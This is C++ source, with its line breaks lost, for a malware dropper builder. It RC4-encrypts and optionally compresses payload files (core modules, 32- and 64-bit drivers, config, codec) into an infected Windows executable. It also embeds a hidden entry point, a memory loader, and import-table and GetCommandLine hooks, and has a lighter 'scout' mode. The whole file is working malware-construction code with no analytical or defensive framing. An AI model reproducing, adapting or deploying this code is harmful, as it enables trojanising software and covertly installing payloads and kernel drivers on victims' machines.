#include #include #include #include namespace bf = boost::filesystem; #include #include "PEObject.h" #include "DropperObject.h" #include "DropperCode.h" using namespace std; void rc4crypt(const unsigned char *key, size_t keylen, unsigned char *data, size_t data_len); DropperObject::DropperObject(PEObject& pe) : _data(0), _size(0), _pe(pe), _epOffset(0) { _files.core.size = 0; _files.core64.size = 0; _files.config.size = 0; _files.codec.size = 0; _files.driver.size = 0; _files.driver64.size = 0; _files.bitmap.size = 0; int i = 0; /* while (_needed_strings[i] != NULL) { _strings.push_back(std::string(_needed_strings[i])); i++; } */ _exeType = _pe.exeType; } DWORD DropperObject::_build_scout( WINSTARTFUNC OriginalEntryPoint, std::string fPrefix ) { DWORD dataBufferSize = 0; unsigned int buffer_size = 65535 + _files.core.size; _data.reset( new char[buffer_size] ); char * ptr = _data.get(); DataSectionHeader* header = (DataSectionHeader*)ptr; memset(header, 0, sizeof(DataSectionHeader)); ptr += sizeof(DataSectionHeader); header->exeType = _pe.exeType; // Generate ecryption key string rc4_key; generate_key(rc4_key, sizeof(header->rc4key)); memcpy(header->rc4key, rc4_key.c_str(), sizeof(header->rc4key)); //generate_key(rc4_key, 32); //memcpy(header->rc4key, rc4_key.c_str(), 32); cout << "Key : " << rc4_key << endl; cout << "Key length: " << dec << sizeof(header->rc4key) << endl; // Original EP header->pfn_OriginalEntryPoint = OriginalEntryPoint; // copy patched code for stage1 stub memcpy(ptr, _patches[0].buffer.get(), _patches[0].size); header->stage1.offset = ptr - _data.get(); header->stage1.VA = _patches[0].VA; header->stage1.size = _patches[0].size; ptr += _patches[0].size; ptr = _embedFile(header->rc4key, _files.core, header->files.names.core, header->files.core, ptr); // compute total data section size and store in buffer dataBufferSize = ptr - _data.get(); memcpy(ptr, &dataBufferSize, sizeof(dataBufferSize)); ptr += sizeof(dataBufferSize); END_MARKER(ptr); // find new EP and copy dropper code in it _epOffset = ptr - _data.get(); ptr += _embedFunction((PVOID)DropperEntryPoint, (PVOID)DropperEntryPoint_End, header->functions.newEntryPoint, ptr); cout << "NewEntryPoint is " << header->functions.newEntryPoint.size << " bytes long, offset " << header->functions.newEntryPoint.offset << endl; // ExitProcessHook data *((DWORD*) ptr) = ptr - _data.get(); ptr += sizeof(DWORD); END_MARKER(ptr); // ExitProcessHook code ptr += _embedFunction((PVOID)ExitProcessHook, (PVOID)ExitProcessHook_End, header->functions.exitProcessHook, ptr); cout << "ExitProcessHook is " << header->functions.exitProcessHook.size << " bytes long, offset " << header->functions.exitProcessHook.offset << endl; // RC4 code ptr += _embedFunction((PVOID)ArcFour, (PVOID)ArcFour_End, header->functions.rc4, ptr); cout << "RC4 is " << header->functions.rc4.size << " bytes long, offset " << (DWORD)header->functions.rc4.offset << endl; // _loadlirary ptr += _embedFunction((PVOID)MemoryLoader, (PVOID)MemoryLoader_End, header->functions.load, ptr); cout << "MemoryLoader is " << header->functions.load.size << " bytes long, offset " << (DWORD)header->functions.load.offset << endl; // GetCommandLineAHook code ptr += _embedFunction((PVOID)GetCommandLineAHook, (PVOID)GetCommandLineAHook_End, header->functions.GetCommandLineAHook, ptr); cout << "GetCommandLineAHook: " << std::hex << GetCommandLineAHook << " GetCommandLineAHook: " << std::hex << GetCommandLineAHook << endl; // GetCommandLineWHook code ptr += _embedFunction((PVOID)GetCommandLineWHook, (PVOID)GetCommandLineWHook_End, header->functions.GetCommandLineWHook, ptr); cout << "GetCommandLineWHook: " << std::hex << GetCommandLineWHook << " GetCommandLineWHook: " << std::hex << GetCommandLineWHook << endl; // HookIAT code ptr += _embedFunction((PVOID)HookIAT, (PVOID)HookIAT_End, header->functions.hookIAT, ptr); cout << "HookIAT is " << header->functions.hookIAT.size << " bytes long, offset " << (DWORD)header->functions.hookIAT.offset << endl; header->restore.offset = ptr - _data.get(); // static size of restoreStub header->restore.size = 78; ptr += header->restore.size; header->isScout = TRUE; // compute total size _size = alignToDWORD(ptr - _data.get()); cout << "Total dropper size is " << _size << " bytes." << endl; // return offset to new EP return _epOffset; } DWORD DropperObject::_build( WINSTARTFUNC OriginalEntryPoint, std::string fPrefix, std::string installDir ) { DWORD dataBufferSize = 0; unsigned int buffer_size = 65535 // account for header and accessory data (strings, calls, etc) + _files.codec.size + _files.core.size + _files.core64.size + _files.config.size + _files.driver.size + _files.driver64.size + _files.bitmap.size ; _data.reset( new char[buffer_size] ); char * ptr = _data.get(); DataSectionHeader* header = (DataSectionHeader*)ptr; memset(header, 0, sizeof(DataSectionHeader)); ptr += sizeof(DataSectionHeader); header->exeType = _pe.exeType; // Generate ecryption key string rc4_key; generate_key(rc4_key, sizeof(header->rc4key)); memcpy(header->rc4key, rc4_key.c_str(), sizeof(header->rc4key)); cout << "Key : " << rc4_key << endl; cout << "Key length: " << dec << sizeof(header->rc4key) << endl; // Original EP header->pfn_OriginalEntryPoint = OriginalEntryPoint; // copy patched code for stage1 stub memcpy(ptr, _patches[0].buffer.get(), _patches[0].size); header->stage1.offset = ptr - _data.get(); header->stage1.VA = _patches[0].VA; header->stage1.size = _patches[0].size; ptr += _patches[0].size; // embed core, driver, config and codec files ptr = _embedFile(header->rc4key, _files.core, header->files.names.core, header->files.core, ptr); ptr = _embedFile(header->rc4key, _files.core64, header->files.names.core64, header->files.core64, ptr); ptr = _embedFile(header->rc4key, _files.driver, header->files.names.driver, header->files.driver, ptr); ptr = _embedFile(header->rc4key, _files.driver64, header->files.names.driver64, header->files.driver64, ptr); ptr = _embedFile(header->rc4key, _files.config, header->files.names.config, header->files.config, ptr); ptr = _embedFile(header->rc4key, _files.codec, header->files.names.codec, header->files.codec, ptr); // compute total data section size and store in buffer dataBufferSize = ptr - _data.get(); memcpy(ptr, &dataBufferSize, sizeof(dataBufferSize)); ptr += sizeof(dataBufferSize); END_MARKER(ptr); // find new EP and copy dropper code in it _epOffset = ptr - _data.get(); ptr += _embedFunction((PVOID)DropperEntryPoint, (PVOID)DropperEntryPoint_End, header->functions.newEntryPoint, ptr); cout << "NewEntryPoint is " << header->functions.newEntryPoint.size << " bytes long, offset " << header->functions.newEntryPoint.offset << endl; // CoreThreadProc code ptr += _embedFunction((PVOID)CoreThreadProc, (PVOID)CoreThreadProc_End, header->functions.coreThread, ptr); cout << "CoreThreadProc is " << header->functions.coreThread.size << " bytes long, offset " << header->functions.coreThread.offset << endl; // DumpFile code ptr += _embedFunction((PVOID)DumpFile, (PVOID)DumpFile_End, header->functions.dumpFile, ptr); cout << "DumpFile is " << header->functions.dumpFile.size << " bytes long, offset " << header->functions.dumpFile.offset << endl; // ExitProcessHook data *((DWORD*) ptr) = ptr - _data.get(); ptr += sizeof(DWORD); END_MARKER(ptr); // ExitProcessHook code ptr += _embedFunction((PVOID)ExitProcessHook, (PVOID)ExitProcessHook_End, header->functions.exitProcessHook, ptr); cout << "ExitProcessHook is " << header->functions.exitProcessHook.size << " bytes long, offset " << header->functions.exitProcessHook.offset << endl; // GetCommandLineAHook data *((DWORD*) ptr) = ptr - _data.get(); ptr += sizeof(DWORD); END_MARKER(ptr); // GetCommandLineAHook code ptr += _embedFunction((PVOID)GetCommandLineAHook, (PVOID)GetCommandLineAHook_End, header->functions.GetCommandLineAHook, ptr); cout << "GetCommandLineAHook: " << std::hex << GetCommandLineAHook << " GetCommandLineAHook: " << std::hex << GetCommandLineAHook << endl; // GetCommandLineWHook data *((DWORD*) ptr) = ptr - _data.get(); ptr += sizeof(DWORD); END_MARKER(ptr); // GetCommandLineWHook code ptr += _embedFunction((PVOID)GetCommandLineWHook, (PVOID)GetCommandLineWHook_End, header->functions.GetCommandLineWHook, ptr); cout << "GetCommandLineWHook: " << std::hex << GetCommandLineWHook << " GetCommandLineWHook: " << std::hex << GetCommandLineWHook << endl; // RC4 code ptr += _embedFunction((PVOID)ArcFour, (PVOID)ArcFour_End, header->functions.rc4, ptr); cout << "RC4 is " << header->functions.rc4.size << " bytes long, offset " << (DWORD)header->functions.rc4.offset << endl; // hookIAT code ptr += _embedFunction((PVOID)HookIAT, (PVOID)HookIAT_End, header->functions.hookIAT, ptr); cout << "hookIAT is " << header->functions.hookIAT.size << " bytes long, offset " << (DWORD)header->functions.hookIAT.offset << endl; cout << "Original ptr: " << hex << (DWORD)ptr << ", aligned: " << hex << (DWORD)alignToDWORD((DWORD)ptr) << endl; header->restore.offset = ptr - _data.get(); // static size of restoreStub header->restore.size = 78; ptr += header->restore.size; header->isScout = FALSE; memcpy(header->instDir, installDir.c_str(), sizeof(header->instDir)); memcpy(header->eliteExports, fPrefix.c_str(), sizeof(header->eliteExports)); // compute total size _size = alignToDWORD(ptr - _data.get()); cout << "Total dropper size is " << _size << " bytes." << endl; // return offset to new EP return _epOffset; } bool DropperObject::_addCoreFile( std::string path, std::string name ) { cout << "Adding core file \"" << path << "\" as \"" << name << "\"." << endl; _files.core.name = name; return _readFile(path, _files.core); } bool DropperObject::_addCore64File( std::string path, std::string name ) { cout << "Adding core (64 bit) file \"" << path << "\" as \"" << name << "\"." << endl; _files.core64.name = name; return _readFile(path, _files.core64); } bool DropperObject::_addDriverFile( std::string path, std::string name ) { cout << "Adding driver file \"" << path << "\" as \"" << name << "\"." << endl; _files.driver.name = name; return _readFile(path, _files.driver); } bool DropperObject::_addDriver64File( std::string path, std::string name ) { cout << "Adding driver file \"" << path << "\" as \"" << name << "\"." << endl; _files.driver64.name = name; return _readFile(path, _files.driver64); } bool DropperObject::_addConfigFile( std::string path, std::string name ) { cout << "Adding config file \"" << path << "\" as \"" << name << "\"." << endl; _files.config.name = name; return _readFile(path, _files.config); } bool DropperObject::_addCodecFile( std::string path, std::string name ) { cout << "Adding codec file \"" << path << "\" as \"" << name << "\"." << endl; _files.codec.name = name; return _readFile(path, _files.codec); } bool DropperObject::_addBitmapFile( std::string path, std::string name ) { cout << "Adding demo bitmap file \"" << path << "\" as \"" << name << "\"." << endl; _files.bitmap.name = "infected.bmp"; return _readFile(path, _files.bitmap); } int DropperObject::_embedFunction( PVOID funcStart, PVOID funcEnd , DataSectionBlob& func, char *ptr ) { DWORD size = (DWORD)funcEnd - (DWORD)funcStart; memcpy(ptr, (PBYTE) funcStart, size); func.offset = ptr - _data.get(); func.size = size; return size; } unsigned int ratio(unsigned int x, unsigned int y) { if (x <= UINT_MAX / 100) x *= 100; else y /= 100; if (y == 0) y = 1; return x / y; } int __stdcall callback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam) { printf("\rcompressed %u -> %u bytes (%u%% done)", inpos, outpos, ratio(inpos, insize)); return 1; } char* DropperObject::_embedFile(char* rc4key, NamedFileBuffer& source, DataSectionBlob& name, DataSectionCryptoPack& file, char* ptr ) { // check if we have some data to be appended if (source.buffer == NULL && source.size <= 0) return ptr; // copy name of file name.offset = ptr - _data.get(); name.size = source.name.size() + 1; memcpy(ptr, source.name.c_str(), name.size); ptr += name.size; #if defined PACK_DATA printf("[*] Compressing data, file size: %d\n", source.size); file.characteristics |= APLIB_PACKED; int length = source.size; char* packed = (char*) malloc(aP_max_packed_size(length)); if (packed == NULL) return 0; char* workmem = (char*) malloc(aP_workmem_size(length)); if (workmem == NULL) return 0; int packed_size = aP_pack(source.buffer.get(), packed, length, workmem, callback, NULL); printf("\n"); if (packed_size == APLIB_ERROR) { printf("Error compressing!\n"); return 0; } if (workmem) free(workmem); #else char* packed = source.buffer.get(); int packed_size = source.size; #endif file.offset = ptr - _data.get(); file.original_size = source.size; file.size = packed_size; // crypt and write file file.characteristics |= RC4_CRYPTED; rc4crypt((unsigned char*)rc4key, RC4KEYLEN, (unsigned char*)packed, packed_size); memcpy(ptr, packed, packed_size); ptr += packed_size; #if defined PACK_DATA free(packed); #endif return ptr; } bool DropperObject::_readFile( std::string path, NamedFileBuffer& buffer ) { std::ifstream file(path.c_str(), ios::binary); if (!file.is_open()) return false; // get length of file file.seekg(0, ios::end); buffer.size = file.tellg(); file.seekg(0, ios::beg); buffer.buffer.reset( new char[buffer.size] ); file.read(buffer.buffer.get(), buffer.size); file.close(); return true; } bool DropperObject::build( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, std::string fPrefix, bf::path demoBitmap, BOOL isScout ) { if (isScout) { try { _setExecutableName("XXX"); _setInstallDir("123"); _addCoreFile(core.string(), core.filename()); _build_scout( (WINSTARTFUNC) _pe.epVA(), fPrefix ); } catch (...) { cout << __FUNCTION__ << "Failed building dropper object for SCOUT." << endl; return false; } } else { try { _setExecutableName("XXX"); _setInstallDir(installDir); _addCoreFile(core.string(), core.filename()); _addConfigFile(config.string(), config.filename()); if (!core64.empty()) _addCore64File(core64.string(), core64.filename()); if (!codec.empty()) _addCodecFile(codec.string(), codec.filename()); if (!driver.empty()) _addDriverFile(driver.string(), driver.filename()); if (!driver64.empty()) _addDriver64File(driver64.string(), driver64.filename()); if (!demoBitmap.empty()) _addBitmapFile(demoBitmap.string(), demoBitmap.filename()); _build( (WINSTARTFUNC) _pe.epVA(), fPrefix, installDir ); } catch (...) { cout << __FUNCTION__ << "Failed building dropper object." << endl; return false; } } return true; } /* int DropperObject::_getIATCallIndex( std::string dll, std::string call ) { int index = -1; try { IATEntry const & entry = _pe.getIATEntry(dll, call); index = entry.index(); } catch (IATEntryNotFound) { cout << __FUNCTION__ << ": no entry for " << dll << "(" << call << ")" << endl; } return index; } */ void DropperObject::setPatchCode( std::size_t idx, DWORD VA, char const * const data, std::size_t size ) { _ASSERT(data); _ASSERT(size); _patches[idx].VA = VA; _patches[idx].buffer.reset( new char[size] ); memcpy( _patches[idx].buffer.get(), data, size ); _patches[idx].size = size; } void generate_key(std::string& key, unsigned int length) { srand( (unsigned int) time(NULL) ); std::ostringstream outStream; // initalize seed and fill array with random fuss for (unsigned int i = 0; i < length; i++) { outStream << std::setw(2) << std::setfill('0') << std::hex << (unsigned int) (rand() % 100); } key = outStream.str(); } void rc4crypt(const unsigned char *key, size_t keylen, unsigned char *data, size_t data_len) { unsigned int i, j, k; unsigned char *pos; unsigned char S[256]; size_t kpos; size_t skip = 0; /* Setup RC4 state */ for (i = 0; i < 256; i++) S[i] = i; j = 0; kpos = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + key[kpos]) & 0xff; kpos++; if (kpos >= keylen) kpos = 0; S_SWAP(i, j); } /* Skip the start of the stream */ i = j = 0; for (k = 0; k < skip; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); } /* Apply RC4 to data */ pos = data; for (k = 0; k < data_len; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); *pos++ ^= S[(S[i] + S[j]) & 0xff]; } } .